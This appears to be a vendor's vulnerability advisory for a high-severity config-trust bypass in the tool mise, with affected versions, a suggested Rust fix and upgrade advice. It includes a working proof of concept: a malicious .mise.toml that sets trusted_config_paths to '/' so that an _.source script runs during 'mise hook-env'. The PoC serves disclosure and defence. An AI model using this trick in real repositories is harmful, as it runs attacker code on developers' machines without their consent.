GHSA-436v-8fw5-4mj8 — mise
HIGHGHSA-436v-8fw5-4mj8 is a high-severity (CVSS 7.7) CWE-284 vulnerability in mise. A fix is available for mise — see the affected versions and patch details below.
Local settings bypass config trust checks
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-436v-8fw5-4mj8.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-436v-8fw5-4mj8 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
miseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.
The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.
Details
The vulnerable load order is:
Settings::try_get()preloads local settings files.parse_settings_file()returnssettings_file.settingswithout checking whether the file is trusted.trust_check()later consults those already-loaded settings.
The main trust-bypass path is in is_trusted():
let settings = Settings::get();
for p in settings.trusted_config_paths() {
if canonicalized_path.starts_with(p) {
add_trusted(canonicalized_path.to_path_buf());
return true;
}
}
If a local project file sets:
[settings]
trusted_config_paths = ["/"]
then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.
Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.
PoC
Test environment:
- Docker
linux-arm64mise v2026.3.17
Negative control:
[env]
_.source = ["./poc.sh"]
mise ls fails with:
Config files in /work/poc/.mise.toml are not trusted.
and /tmp/mise-proof.txt is not created.
Primary exploit:
[settings]
trusted_config_paths = ["/"]
[env]
_.source = ["./poc.sh"]
with:
#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt
Then:
mise hook-env -s bash --force
Observed:
/tmp/mise-proof.txt => trusted_paths_hookenv
Related regression check:
v2026.2.17: localyes = truedoes not bypass trustv2026.2.18: the same localyes = truevalue auto-approves the trust prompt and the side effect file is created
Impact
An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.
Demonstrated on current supported versions:
- execution via
[env] _.sourceduringmise hook-env - bypass of the protection that
mise trustis supposed to provide for dangerous config features
On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.
Suggested Fix
Do not honor trust-control settings from non-global project config files.
At minimum, ignore these fields when loading local project config:
trusted_config_pathsyesciparanoid
For example:
pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
let raw = file::read_to_string(path)?;
let settings_file: SettingsFile = toml::from_str(&raw)?;
let mut settings = settings_file.settings;
if !config::is_global_config(path) {
settings.yes = None;
settings.ci = None;
settings.trusted_config_paths = None;
settings.paranoid = None;
}
Ok(settings)
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | mise | ≥ 2026.2.18&&< 2026.6.4 | 2026.6.4cargo update -p mise --precise 2026.6.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mise to 2026.6.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-436v-8fw5-4mj8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-436v-8fw5-4mj8 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-436v-8fw5-4mj8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-436v-8fw5-4mj8 in your dependencies?
O3 Security finds GHSA-436v-8fw5-4mj8 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.